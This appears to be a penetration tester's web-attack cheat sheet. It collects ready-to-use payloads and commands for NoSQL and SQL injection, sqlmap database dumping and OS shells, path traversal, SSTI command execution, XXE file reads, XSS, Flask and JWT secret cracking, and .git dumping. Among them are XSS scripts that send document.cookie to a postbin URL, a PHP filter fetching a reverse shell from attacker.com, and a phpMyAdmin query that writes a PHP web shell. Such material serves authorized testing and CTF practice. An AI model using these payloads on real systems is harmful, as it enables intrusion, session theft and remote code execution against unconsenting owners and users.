Web

---

• CMS

• Certificate

• Cookies

• Discovery Tool

• Download .git

• Interesting routes

• Nosql Injection

• Path traversal (LFI)

• PhpMyAdmin

• Request

• SQL Injection

• SSTI

• Server Side XSS

• XML external entity (XXE)

• XSS Injection

Discovery Tool

Some ressources are accessible by the attacker but not referenced by the web application. Discovery tool bruteforce url or domain with wordlist to discover new content.

Wordlist

Name	Path
SecLists Raft Medium	/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
SecList DNS	/usr/share/seclists/Discovery/DNS/namelist.txt
Dirbuster Small	/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
Dirbuster Small Lowercase	/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
Dirb	/usr/share/dirb/wordlists/common.txt

Extensions

Type	Extension
Script	php,js,twig
Text	html,txt,md
Data	json,csv
DB	db,sqlite
Linux	sh,bin
Windows	ps1,exe

Cewl

A tool to create a wordlist from a site.

cewl -d 5 -e --with-numbers http://example.com/

ffuf

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt:FUZZ -u http://url/FUZZ'

Most Popular domain discovery command

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt:FUZZ -u http://url/ -H 'Host: FUZZ.host'

Gobuster

gobuster dir -u <url> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 25 -x html,php

Feroxbuster

(Best one)

feroxbuster -u <url> -e -x html,js,php

Dirb

dirb url -R

GUI

dirbuster

owasp-zap

Nosql Injection

NoSQL databases (aka "not only SQL") are non-tabular databases and store data differently than relational tables. The syntax is different from traditional SQL syntax. Example: Mongo

Common Pattern

' || 1==1 %00
' || 1==1 //
{ $ne: 1 }
true, $where: '1 == 1'
'; return 1 %00

Form

username[$ne]=lol$password[$ne]=lol
username[$regex]=.*$password[$regex]=.*
username[$eq]=admin&password[$eq]=admin

JSON

{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$eq": "admin"}, "password": {"$ne": "admin"}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}

• PayloadsAllTheThings - NoSQL Injection

SQL Injection

SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. - Source

Interesting cheat sheet of Port Swigger.

Manual

Common pattern

" OR ""="
' OR ''='
' OR 1=1 -- comment
OR 1=1
*

Comment

-- comment
# comment
/* comment */
/*! comment */

INSERT

admin", "") ON DUPLICATE KEY UPDATE password="newpasswd";

• INSERT DUPLICATE KEY

Separator

" UNION SELECT * FROM users
" ; SELECT * FROM users

Interesting postgres function

Filter bypass

query_to_xml('SELECT * FROM users', true, false, '')
ts_stat('SELECT * FROM users')::text

Arbitrary read / write

# Read
lo_export(31337, '/etc/passwd')
lo_get(31337)

# Write
lo_from_bytea(31338, decode('bG9saXBvcAo=', 'base64'))
lo_export(31338, '/tmp/lolipop')

SQLmap

SQLmap is a tool that automates the process of detecting and exploiting SQL injection.

SQLmap Usage

Discovery

sqlmap -r req
# If you know info
sqlmap -r req --os <os> --dbms <type db> --technique <tech>

• List OS

• List DBMS

• List Techniques

Get DB

# List databases
sqlmap -r req --predict-output --dbs
# List Tables
sqlmap -r req --predict-output --tables -D db
# Dump Table
sqlmap -r req --predict-output --dump -D db -T table 
# Dump Column(s)
sqlmap -r req --predict-output --dump -D db -T table -C column

List Privileges

sqlmap -r req --current-user
sqlmap -r req --privileges
sqlmap -r req --roles

File

# Read file
sqlmap -r req --file-read=/etc/passwd
# Upload file
sqlmap -r req --file-write=/local/file --file-dest=/dest/path

Shell

# Upload Reverse shell
sqlmap -r req --os-shell
sqlmap -r req --os-cmd 'echo desbarres'
# Sql Shell
sqlmap -r req --sql-shell

Optimize

-o                  Turn on all optimization switches
--predict-output    Predict common queries output
--keep-alive        Use persistent HTTP(s) connections
--null-connection   Retrieve page length without actual HTTP response body
--threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)

--time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)

Turbo SQLmap

sqlmap -u 'https://example.com/?arg=*' --dump -T table_example -D example_db --level=2 --force-ssl --time-sec 1 --predict-output --dbms 'MySQL' --technique T  --flush-session

Path traversal (LFI)

A path traversal attack aims to access files and directories that are stored outside the web root folder by manipulating variables that reference files. It may be possible to access arbitrary files and directories including application source code or configuration and critical system files.

Pattern

Try to add %00 at the end of your payload.

..%252f/..%252f/..%252f/..%252f/..%252f/..%252f/..%252f/..%252f/..%252f/%252f/etc/passwd
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
%252e%252e%252e%252e%252e%252fetc%252fpasswd%00

../
︰/
..%252f/
..%2f
%2e%2e%2f
%2e%2e/
%2e%2e%5c
..%5c
%252e%252e%255c
..%255c
..%c0%af

• Bypassing with Unicode Compatibility

• File Inclusion

PHP pattern

php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/convert.base64-encode/resource=http://attacker.com/reverse.php
php://filter/resource=/etc/passwd
zip://path/to/file.zip%23shell.php
http://attacker.com/reverse.php%00

• PHP LFI

SSTI

Template engines are widely used by web applications to present dynamic data via web pages and emails. Unsafely embedding user input in templates enables Server-Side Template Injection. Template Injection can be used to directly attack web servers' internals and often obtain Remote Code Execution (RCE). source

Test

${{<%[%'"}}%\.

{{1+1}}
${1+1}
<%= 1+1 %>
${{1+1}}
#{1+1}
@(1+2)

Nunchucks (Nodejs)

{{range.constructor("console.log(123)")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}

Python (Jinja2)

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
{{request.__class__._load_form_data.__globals__.__builtins__.__import__("os").popen("id").read()}}

Golang

{{.}}

• PayloadsAllTheThings - STTI

• Github Websites Vulnerable To SSTI

XML external entity (XXE)

XML external entity (XXE) injection is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access. - source

Read File

<!DOCTYPE foo [
    <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<foo>Hello &file;</foo>

<!DOCTYPE foo [
    <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd" >
]>
<foo>Hello &file;</foo>

Get Link

<!DOCTYPE foo [
    <!ENTITY file SYSTEM "http://example.com/path">
]>
<foo>Hello &file;</foo>

<!DOCTYPE foo [
    <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/path">
]>
<foo>Hello &file;</foo>

XSS Injection

XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. source

Script

<script>window.open('https://www.toptal.com/developers/postbin/123-123?' + document.cookie);</script>

<script>document.location = 'https://www.toptal.com/developers/postbin/123-123?' + btoa(document.cookie);</script>

<script>fetch('https://www.toptal.com/developers/postbin/123-123?' + btoa(document.cookie), { method: 'GET',})</script>

<img src=x onerror=alert() />

Meta

<meta http-equiv="refresh" content="0;url=http://example.com">

Object

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

Useful Link

• Toptal/postbin - Exfiltrate information

• Generate Tags

• CSP Evalutor

• XSS Payload List

Server Side XSS

Server XSS occurs when untrusted user supplied data is included in an HTTP response generated by the server. In this case, the entire vulnerability is in server-side code, and the browser is simply rendering the response and executing any valid script embedded in it. source

Dynamic PDF

<iframe src=file:///etc/passwd></iframe>
<img src="x" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///etc/passwd">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id="portal">
<svg-dummy></svg-dummy><iframe src='file:///etc/passwd' width='100%' height='1000px'></iframe><svg viewBox='0 0 240 80' height='1000' width='1000' xmlns='http://www.w3.org/2000/svg'><text x='0' y='0' class='Rrrrr' id='demo'>data</text></svg>

<annotation file="/etc/passwd" content="/etc/passwd" icon="graph" title="Attached File: /etc/passwd" pos-x="195" />

Extract annotation

You can extract annotation files with this script:

pip3 install pymupdf
python3 script/get-pdf-annot.py -f "<HTTP(S)_URL> OR <PDF_PATH>"

Cookies

Cookies can be hijack by different way. Sign cookies can be decode to find vulnerable informations or bruteforce to find secret in order to create your own cookies. Other type of cookies need to be steal to hijack session.

Flask

Flask cookies are sign cookie so you can decode it or bruteforce the secret.

Decode

flask-unsign --decode --cookie 'eyJ1c2VyIjoiYWRtaW4ifQ.Y4za7g.ZHmbIsx0-wdFV_IgyWI7MruY9OY'

Bruteforce

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign  --no-literal-eval --cookie 'eyJ1c2VyIjoiYWRtaW4ifQ.Y4za7g.ZHmbIsx0-wdFV_IgyWI7MruY9OY'

Encode

flask-unsign --sign --cookie "{'user': 'admin'}" --secret 'mySecret'

Json Web Token (JWT)

A JWT comes in this structure: AAAAAA.BBBBBB.CCCCCC. AAAAAA represents the header, BBBBBB represents the payload while CCCCCC represents the signature.

The most common algorithms for signing JWTs are:

• HMAC + SHA256 (HS256)

• RSASSA-PKCS1-v1_5 + SHA256 (RS256)

• ECDSA + P-256 + SHA256 ( ES256)

Source

Encode / Decode

• JWT.io

Brute Force

jwtcrack "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.Fw4maeqOtL8pPwiI2_VzYBo4JQ91P1Ow3X3hNqx2wPg" < words/rockyou.txt

hashcat -r words/hob064.rule words/rockyou.txt --stdout | jwtcrack "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.Uzr5ePfZFgmvhMFYJ9WAYISmGLj7JE7SWO43OrfmcZM"

• Github

Request

Different tool to make a http request.

Curl

curl 'http://example.com/login' -H 'Content-Type: application/x-www-form-urlencoded' -sd 'username=login&password=pass'

curl -X POST https://example.com/api/submit -H "Content-Type: application/json" -sd '{"email":"[e-mail]"}'

Python

import requests

# GET
requests.get('http://example.com')
# POST
requests.post('http://example.com/submit',
    headers={
        'Content-type': 'raw',
    },
    data={'user': 'guest'},
)

• Details script

Javascript

//  GET
fetch('http://example.com/',{
    method: 'GET',
})

// POST
fetch('http://example.com/',{
    method: 'POST',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({data: 'lol'})
})

Download .git

githacker --url http://url/.git/ --folder result

Source

git-dumper http://url .

Source

CMS

Scaning

wpscan --force update -e --url IP --disable-tls-checks

Certificate

curl <url> --key KEY.key --cert CERT.cert

PhpMyAdmin

Quick Shellcode

SELECT "<?php system($_GET['cmd']); ?>" into outfile "/dir/dir/file.php"